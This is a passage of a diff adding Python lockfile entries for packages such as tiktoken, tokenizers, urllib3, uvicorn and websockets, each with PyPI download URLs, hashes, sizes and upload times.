+ { url = "https://files.pythonhosted.org/packages/d6/07/acb5992c3772b5a36284f742cfb7a5895aa4471d1848ac31464ad50d7fdf/tiktoken-0.13.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:6eb4a5bfbc6426938026b1a334e898ac53541360d62d8c689870160cc80abd67", size = 1033600, upload-time = "2026-05-15T04:50:50.4Z" },
+ { url = "https://files.pythonhosted.org/packages/14/e9/742e9aec30f59b9f161f7ff7cd072e02ea836c9e1c0854a8076dfcd40d5c/tiktoken-0.13.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:43cee3e5400573b2046fbf092cc7a5bc30164f9e4c95ce20714da929df48737a", size = 982516, upload-time = "2026-05-15T04:50:52.03Z" },
+ { url = "https://files.pythonhosted.org/packages/72/74/ca1541b053e7648254d2e4b42a253e1bb4359f2c91a0a8d49228c794e1a0/tiktoken-0.13.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:7de52e3f566d19b3b11bd37eea552c6c305ad74081f736882bd44d148ed4c48d", size = 1115518, upload-time = "2026-05-15T04:50:53.543Z" },
+ { url = "https://files.pythonhosted.org/packages/46/e3/93825eaf5a4a504795b787e5d5dea07fbeb3dabf97aa7b450be8bde59c89/tiktoken-0.13.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:51384448aa508e4df84c0f7c1dc3211c7f7b8096325660ee5fc82f3e11b381ce", size = 1136867, upload-time = "2026-05-15T04:50:55.191Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/46/002b68de6827091d5ae90b048f326e8aad8d953520950e5ce1508879414f/tiktoken-0.13.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:e28157350f7ebf35008dd8e9e0fdb621f976e4230c881099c85e8cf07eaa50e2", size = 1181826, upload-time = "2026-05-15T04:50:56.296Z" },
+ { url = "https://files.pythonhosted.org/packages/db/c6/d393e3185a276505182f7abd93fe714f3c444a2be9180798fa052347504e/tiktoken-0.13.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:165cf1820ea4a354985c2490a5205d4cc74661c934aca79dd0368232fff94e0f", size = 1239489, upload-time = "2026-05-15T04:50:57.918Z" },
+ { url = "https://files.pythonhosted.org/packages/b7/4d/bc07d1f1635d4897a202acc0ae11c2886eaa7325c359ba4741b47bf8e225/tiktoken-0.13.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6c43a675ca14f6f2749ba7f12075d37456015a24b859f2517b9beb4ef30807ec", size = 873820, upload-time = "2026-05-15T04:50:59.528Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/93/0dd6adca026a616c3a92974566b43381eea4b475ce1f36c062b8271a9ac5/tiktoken-0.13.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaaaef47c2406277181d2086484c317bf7fc433e2d5d03ff94f56b0dcec87471", size = 1034977, upload-time = "2026-05-15T04:51:00.957Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/77/5ec6e6bc5b30bed6d93f7f2162d8f6b32437b3ba27cb527cfe004f6109c9/tiktoken-0.13.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:ca8b310bd93b3772cb1b7922d915446864860f562bdfe4825c63a0aed3fb28cd", size = 983635, upload-time = "2026-05-15T04:51:02.629Z" },
+ { url = "https://files.pythonhosted.org/packages/94/b0/c8ae9aff00d625c50659b4513e707a0462c4bf5d4d6cc1b802103225c02e/tiktoken-0.13.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:32e0c12305105002c047b3bb1070b0dd9a73b0cb3b2856a8972b810e7a4f5881", size = 1116036, upload-time = "2026-05-15T04:51:04.082Z" },
+ { url = "https://files.pythonhosted.org/packages/1b/ac/6a5dddd1d0a6018ecb389bd0353e6b4a515eb4d2286611bd0ace1937b9e1/tiktoken-0.13.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:5ba5fd62507a932d1241346179e3b39bc7bf7408f03c272652d93b3bedf5db24", size = 1135544, upload-time = "2026-05-15T04:51:05.229Z" },
+ { url = "https://files.pythonhosted.org/packages/f4/b8/585032b4384b2f7dcdaddcb52865c83a701a420d09e3c2b4a2be1c450c57/tiktoken-0.13.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d108bc2d470fc53c8ecd24f2c0fd2b5f98c33e87cdb6aa2e9b8c5dced703d273", size = 1182217, upload-time = "2026-05-15T04:51:06.517Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/b6/993ff1ded3958215fd341a847b8e5ffeb5de473f435296870d314fc91ac4/tiktoken-0.13.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:cb99cb5127449f58d0a2d5f5ccfb390d8dbdfd919c221246caaee29d8725ed51", size = 1239404, upload-time = "2026-05-15T04:51:07.843Z" },
+ { url = "https://files.pythonhosted.org/packages/dd/3d/fef7e06e3b33e7538db0ced734cf9fe23b6832d2ac4990c119c377aec55e/tiktoken-0.13.0-cp314-cp314-win_amd64.whl", hash = "sha256:115c4f26ffa11caac8b54eea35c2ad38c612c20a48d35dd15d70a02ac6f51f58", size = 918686, upload-time = "2026-05-15T04:51:08.925Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/82/a7fc44582bc32ab00de988a2299bf77c077f59068b233109e34b7d6ca7e6/tiktoken-0.13.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:472527e9132952f2fbf77cd290658bacf003d4d5a3fabc18e5fbd407cbae4d9b", size = 1034454, upload-time = "2026-05-15T04:51:10.035Z" },
+ { url = "https://files.pythonhosted.org/packages/37/d0/24d8a890c14f432a05cea669c17bebeaa99f96a7c79523b590f564246411/tiktoken-0.13.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:4e2f67d27c9626cdd25fe33d9313c5cdb3d8d82da646b68d6eb8e7e9c20e6448", size = 982976, upload-time = "2026-05-15T04:51:11.23Z" },
+ { url = "https://files.pythonhosted.org/packages/49/b7/2ab43f62788a9266187a9bfc1d3af99ad83e5eaa25fbef168a69cd5ad14f/tiktoken-0.13.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:2b920b35805cd64585a37c3dc7ce65fba4d2d36016be01e1d7942482ca29093a", size = 1115526, upload-time = "2026-05-15T04:51:12.608Z" },
+ { url = "https://files.pythonhosted.org/packages/64/39/1494321ed323ce7a14d88e3cd6cb9058625977df1c6961ddc492bd10a9f3/tiktoken-0.13.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:493af3aa28a4aaf2e3d2600a2ee717252c9bf5ab38fff94eb5a02db5ab77e5ad", size = 1136466, upload-time = "2026-05-15T04:51:13.926Z" },
+ { url = "https://files.pythonhosted.org/packages/96/d9/dfd086aa2d918c563a140720e0ce296cada1634efd2783d5cf51e05f984e/tiktoken-0.13.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:6644c9c2b5cf3916f5a3641d7d12fdb3f006a7b3d9ff6acdaec44e29ab1ff91e", size = 1181863, upload-time = "2026-05-15T04:51:15.025Z" },
+ { url = "https://files.pythonhosted.org/packages/2f/68/a18b4f307086954fdae32714cb4f85562e34f9d34ab206e61f1816aa6018/tiktoken-0.13.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5cb65b60b9408563676d874a3a4ee573370066f0dc4e29d84e82e989c6517424", size = 1239218, upload-time = "2026-05-15T04:51:16.103Z" },
+ { url = "https://files.pythonhosted.org/packages/16/5b/f2aa703a4fc5d2dff73460a7d46cc2f3f44aa0f3dd8eeb20d2a0ecf68862/tiktoken-0.13.0-cp314-cp314t-win_amd64.whl", hash = "sha256:85b78cc3a2c3d48723ca751fa981f1fedccd54194ca0471b957364353a898b07", size = 918110, upload-time = "2026-05-15T04:51:17.237Z" },
+]
+
+[[package]]
+name = "tokenizers"
+version = "0.23.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "huggingface-hub" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c1/60/21f715d9faba5f5407ff759472ade058ec4a507ad62bcea47cb847239a73/tokenizers-0.23.1.tar.gz", hash = "sha256:1feeeadf865a7915adc25445dea30e9933e593c31bb96c277cee36de227c8bfa", size = 365748, upload-time = "2026-04-27T14:43:25.606Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/87/39/b87a87d5bb9470610b80a2d31df42fcffeaf35118b8b97952b2aff598cc7/tokenizers-0.23.1-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:e03d6ffcbe0d56ee9c1ccd070e70a13fa750727c0277e138152acbc0252c2224", size = 3146732, upload-time = "2026-04-27T14:43:15.427Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/6a/068ed9f6e444c9d7e9d55ce134181325700f3d7f30410721bdc8f848d727/tokenizers-0.23.1-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:e0948bbb1ac1d7cdfc9fb6d62c596e3b7550036ad60ecd654a66ad273326324e", size = 3054954, upload-time = "2026-04-27T14:43:13.745Z" },
+ { url = "https://files.pythonhosted.org/packages/6c/36/e006edf031154cba92b8416057d92c3abe3635e4c4b0aa0b5b9bb39dde70/tokenizers-0.23.1-cp310-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1bf13402aff9bc533c89cb849ec3b412dc3fbeacc9744840e423d7bf3f7dc0e3", size = 3374081, upload-time = "2026-04-27T14:43:01.241Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/ef/7735d226f9c7f874a6bee5e3f27fb25ecabdf207d37b8cf45286d0795893/tokenizers-0.23.1-cp310-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f836ca703b89ae07919a309f9651f7a88fd5a33d5f718ba5ad0870ec0256bad6", size = 3247641, upload-time = "2026-04-27T14:43:03.856Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/d9/24827036f6e21297bfffda0768e58eb6096a4f411e932964a01707857931/tokenizers-0.23.1-cp310-abi3-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae848657742035523fdf261773630cb819a26995fcd3d9ecae0c1daf6e5a4959", size = 3585624, upload-time = "2026-04-27T14:43:10.664Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/9a/22f3582b3a4f49358293a5206e25317621ee4526bfe9cdaa0f07a12e770e/tokenizers-0.23.1-cp310-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:53b09e85775d5187941e7bab30e941b4134ab4a7dd8c68e783d231fb7ca27c51", size = 3844062, upload-time = "2026-04-27T14:43:05.643Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/65/b8f8814eef95800f20721384136d9a1d22241d50b2874357cb70542c392f/tokenizers-0.23.1-cp310-abi3-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea5a0ce170074329faaa8ea3f6400ecde604b6678192688533af80980daae71a", size = 3460098, upload-time = "2026-04-27T14:43:08.854Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/d5/1353e5f677ec27c2494fb6a6725e82d56c985f53e90ec511369e7e4f02c6/tokenizers-0.23.1-cp310-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5075b405006415ea148a992d093699c66eb01952bf59f4d5727089a98bda45a4", size = 3346235, upload-time = "2026-04-27T14:43:12.377Z" },
+ { url = "https://files.pythonhosted.org/packages/71/89/39b6b8fc073fb6d413d0147aa333dc7eff7be65639ac9d19930a0b21bf33/tokenizers-0.23.1-cp310-abi3-manylinux_2_31_riscv64.whl", hash = "sha256:56f3a77de629917652f876294dc9fe6bad4a0c43bc229dc72e59bb23a0f4729a", size = 3426398, upload-time = "2026-04-27T14:43:07.264Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/80/127c854da64827e5b79264ce524993a90dddcb320e5cd42412c5c02f9e8a/tokenizers-0.23.1-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9d10a6d957ef01896dc274e890eee27d41bd0e74ef31e60616f0fc311345184e", size = 9823279, upload-time = "2026-04-27T14:43:17.222Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/ba/44c2502feb1a058f096ddfb4e0996ef3225a01a388e1a9b094e91689fe93/tokenizers-0.23.1-cp310-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:1974288a609c343774f1b897c8b482c791ab17b75ab5c8c2b1737565c1d82288", size = 9644986, upload-time = "2026-04-27T14:43:19.45Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/c1/464019a9fb059870bfe4eebb4ba12208f3042035e258bf5e782906bd3847/tokenizers-0.23.1-cp310-abi3-musllinux_1_2_i686.whl", hash = "sha256:120468fb4c24faf0543c835a4fabafa4deb3f20a035c9b6e83d0b553a97615d4", size = 9976181, upload-time = "2026-04-27T14:43:21.463Z" },
+ { url = "https://files.pythonhosted.org/packages/79/94/3ac1432bda31626071e9b6a12709b97ae05131c804b94c8f3ac622c5da32/tokenizers-0.23.1-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:e3d8f40ea6268047de7046906326abed5134f27d4e8447b23763afe5808c8a96", size = 10113853, upload-time = "2026-04-27T14:43:23.617Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/dd/631b21433c771b1382535326f0eca80b9c9cee2e64961dd993bc9ac4669e/tokenizers-0.23.1-cp310-abi3-win32.whl", hash = "sha256:93120a930b919416da7cd10a2f606ac9919cc69cacae7980fa2140e277660948", size = 2536263, upload-time = "2026-04-27T14:43:29.888Z" },
+ { url = "https://files.pythonhosted.org/packages/97/c9/2553f72aaf65a2797d4229e37fa7fbe38ffbf3e32912d31bdd78b3323e59/tokenizers-0.23.1-cp310-abi3-win_amd64.whl", hash = "sha256:e7bfaf995c1bdbbd21d13539decb6650967013759318627d85daeb7881af16b7", size = 2798223, upload-time = "2026-04-27T14:43:28.51Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/2b/2be299bab55fc595e3d38567edb1a87f86e594842968fa9515a07bdcf422/tokenizers-0.23.1-cp310-abi3-win_arm64.whl", hash = "sha256:a26197957d8e4425dfba746315f3c425ea00cfa8367c5fbc4ec73447893dcea9", size = 2664127, upload-time = "2026-04-27T14:43:26.949Z" },
+]
+
+[[package]]
+name = "tqdm"
+version = "4.68.3"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "colorama", marker = "sys_platform == 'win32'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/87/d7/0535a28b1f5f24f6612fb3ff1e89fb1a8d160fee0f976e0aa6803862134b/tqdm-4.68.3.tar.gz", hash = "sha256:00dfa48452b6b6cfae3dd9885636c23d3422d1ec97c66d96818cbd5e0821d482", size = 170596, upload-time = "2026-06-17T07:36:52.105Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d8/8e/bb97bb0c71802080bfc8952937d174e49cfc50de5c951dd47b2496f0dcdb/tqdm-4.68.3-py3-none-any.whl", hash = "sha256:39832cc2def2789a6f29df83f172db7416cea70052c0907a57801c5f2fdccb03", size = 78337, upload-time = "2026-06-17T07:36:50.132Z" },
+]
+
+[[package]]
+name = "typer"
+version = "0.25.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "annotated-doc" },
+ { name = "click" },
+ { name = "rich" },
+ { name = "shellingham" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e4/51/9aed62104cea109b820bbd6c14245af756112017d309da813ef107d42e7e/typer-0.25.1.tar.gz", hash = "sha256:9616eb8853a09ffeabab1698952f33c6f29ffdbceb4eaeecf571880e8d7664cc", size = 122276, upload-time = "2026-04-30T19:32:16.964Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/3f/f9/2b3ff4e56e5fa7debfaf9eb135d0da96f3e9a1d5b27222223c7296336e5f/typer-0.25.1-py3-none-any.whl", hash = "sha256:75caa44ed46a03fb2dab8808753ffacdbfea88495e74c85a28c5eefcf5f39c89", size = 58409, upload-time = "2026-04-30T19:32:18.271Z" },
+]
+
+[[package]]
+name = "types-requests"
+version = "2.33.0.20260518"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "urllib3" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e0/01/c5a19253fe1ac159159ddf9a3a07cec8bb5e486ec4d9002ad2821da0e5d2/types_requests-2.33.0.20260518.tar.gz", hash = "sha256:df7bd3bfe0ca8402dfb841e7d9be714bb5578203283d66d7dc4ef69343449a5e", size = 24752, upload-time = "2026-05-18T06:07:37.966Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/1c/bc/b139710a3b6018f7fb2b9508b35c8af564e61bf2bf4fa619d088f3e16f85/types_requests-2.33.0.20260518-py3-none-any.whl", hash = "sha256:626d697d1adaaff76e2044dc8c5c051d8f21abc157bdfe204a75558076fe0bf0", size = 21391, upload-time = "2026-05-18T06:07:37.044Z" },
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.15.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" },
+]
+
+[[package]]
+name = "typing-inspection"
+version = "0.4.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" },
+]
+
+[[package]]
+name = "uc-micro-py"
+version = "2.0.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/78/67/9a363818028526e2d4579334460df777115bdec1bb77c08f9db88f6389f2/uc_micro_py-2.0.0.tar.gz", hash = "sha256:c53691e495c8db60e16ffc4861a35469b0ba0821fe409a8a7a0a71864d33a811", size = 6611, upload-time = "2026-03-01T06:31:27.526Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/61/73/d21edf5b204d1467e06500080a50f79d49ef2b997c79123a536d4a17d97c/uc_micro_py-2.0.0-py3-none-any.whl", hash = "sha256:3603a3859af53e5a39bc7677713c78ea6589ff188d70f4fee165db88e22b242c", size = 6383, upload-time = "2026-03-01T06:31:26.257Z" },
+]
+
+[[package]]
+name = "urllib3"
+version = "2.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" },
+]
+
+[[package]]
+name = "uvicorn"
+version = "0.49.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "click" },
+ { name = "h11" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c4/1f/fa18009dea8469069cca78a4e877a008ab78f08b064bfc9ab891579077ff/uvicorn-0.49.0.tar.gz", hash = "sha256:ebf4271aa580d9de97f93192d4595176df6e91f9aae919ca73e4fc07df1e66a3", size = 91284, upload-time = "2026-06-03T22:01:30.448Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/88/fa/e1388bbcf24ef3274f45c0c1c7b501fd14971037c1b6ee23610553307497/uvicorn-0.49.0-py3-none-any.whl", hash = "sha256:ba3d14c3ee7e41c6c654c46c9eb489d33213cdd30aa1696eab1374337c13f68f", size = 71376, upload-time = "2026-06-03T22:01:29.037Z" },
+]
+
+[[package]]
+name = "virtualenv"
+version = "21.5.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "distlib" },
+ { name = "filelock" },
+ { name = "platformdirs" },
+ { name = "python-discovery" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/f1/a5/81f987504738e6defeed61ec1c47e2aefab3c35d8eeb87e1b3f38cf28254/virtualenv-21.5.1.tar.gz", hash = "sha256:dca3bf98275a59c652b69d68e73433e597d977c2da9198882479d1a7188009c8", size = 4578798, upload-time = "2026-06-16T16:23:58.603Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/2c/02/3623e6169bed617ed1e2d372f7c69f92ec28d54c4dfc997055c8578ec148/virtualenv-21.5.1-py3-none-any.whl", hash = "sha256:55aa670b67bbfb991b03fda39bd3276d92c419d702376e98c5df1c9989a26783", size = 4558820, upload-time = "2026-06-16T16:23:56.963Z" },
+]
+
+[[package]]
+name = "websockets"
+version = "15.0.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/21/e6/26d09fab466b7ca9c7737474c52be4f76a40301b08362eb2dbc19dcc16c1/websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee", size = 177016, upload-time = "2025-03-05T20:03:41.606Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/51/6b/4545a0d843594f5d0771e86463606a3988b5a09ca5123136f8a76580dd63/websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3", size = 175437, upload-time = "2025-03-05T20:02:16.706Z" },
+ { url = "https://files.pythonhosted.org/packages/f4/71/809a0f5f6a06522af902e0f2ea2757f71ead94610010cf570ab5c98e99ed/websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665", size = 173096, upload-time = "2025-03-05T20:02:18.832Z" },
+ { url = "https://files.pythonhosted.org/packages/3d/69/1a681dd6f02180916f116894181eab8b2e25b31e484c5d0eae637ec01f7c/websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2", size = 173332, upload-time = "2025-03-05T20:02:20.187Z" },
+ { url = "https://files.pythonhosted.org/packages/a6/02/0073b3952f5bce97eafbb35757f8d0d54812b6174ed8dd952aa08429bcc3/websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215", size = 183152, upload-time = "2025-03-05T20:02:22.286Z" },
+ { url = "https://files.pythonhosted.org/packages/74/45/c205c8480eafd114b428284840da0b1be9ffd0e4f87338dc95dc6ff961a1/websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5", size = 182096, upload-time = "2025-03-05T20:02:24.368Z" },
+ { url = "https://files.pythonhosted.org/packages/14/8f/aa61f528fba38578ec553c145857a181384c72b98156f858ca5c8e82d9d3/websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65", size = 182523, upload-time = "2025-03-05T20:02:25.669Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/6d/0267396610add5bc0d0d3e77f546d4cd287200804fe02323797de77dbce9/websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe", size = 182790, upload-time = "2025-03-05T20:02:26.99Z" },
+ { url = "https://files.pythonhosted.org/packages/02/05/c68c5adbf679cf610ae2f74a9b871ae84564462955d991178f95a1ddb7dd/websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4", size = 182165, upload-time = "2025-03-05T20:02:30.291Z" },
+ { url = "https://files.pythonhosted.org/packages/29/93/bb672df7b2f5faac89761cb5fa34f5cec45a4026c383a4b5761c6cea5c16/websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597", size = 182160, upload-time = "2025-03-05T20:02:31.634Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/83/de1f7709376dc3ca9b7eeb4b9a07b4526b14876b6d372a4dc62312bebee0/websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9", size = 176395, upload-time = "2025-03-05T20:02:33.017Z" },
+ { url = "https://files.pythonhosted.org/packages/7d/71/abf2ebc3bbfa40f391ce1428c7168fb20582d0ff57019b69ea20fa698043/websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7", size = 176841, upload-time = "2025-03-05T20:02:34.498Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/9f/51f0cf64471a9d2b4d0fc6c534f323b664e7095640c34562f5182e5a7195/websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931", size = 175440, upload-time = "2025-03-05T20:02:36.695Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/05/aa116ec9943c718905997412c5989f7ed671bc0188ee2ba89520e8765d7b/websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675", size = 173098, upload-time = "2025-03-05T20:02:37.985Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/0b/33cef55ff24f2d92924923c99926dcce78e7bd922d649467f0eda8368923/websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151", size = 173329, upload-time = "2025-03-05T20:02:39.298Z" },
+ { url = "https://files.pythonhosted.org/packages/31/1d/063b25dcc01faa8fada1469bdf769de3768b7044eac9d41f734fd7b6ad6d/websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22", size = 183111, upload-time = "2025-03-05T20:02:40.595Z" },
+ { url = "https://files.pythonhosted.org/packages/93/53/9a87ee494a51bf63e4ec9241c1ccc4f7c2f45fff85d5bde2ff74fcb68b9e/websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f", size = 182054, upload-time = "2025-03-05T20:02:41.926Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/b2/83a6ddf56cdcbad4e3d841fcc55d6ba7d19aeb89c50f24dd7e859ec0805f/websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8", size = 182496, upload-time = "2025-03-05T20:02:43.304Z" },
+ { url = "https://files.pythonhosted.org/packages/98/41/e7038944ed0abf34c45aa4635ba28136f06052e08fc2168520bb8b25149f/websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375", size = 182829, upload-time = "2025-03-05T20:02:48.812Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/17/de15b6158680c7623c6ef0db361da965ab25d813ae54fcfeae2e5b9ef910/websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d", size = 182217, upload-time = "2025-03-05T20:02:50.14Z" },
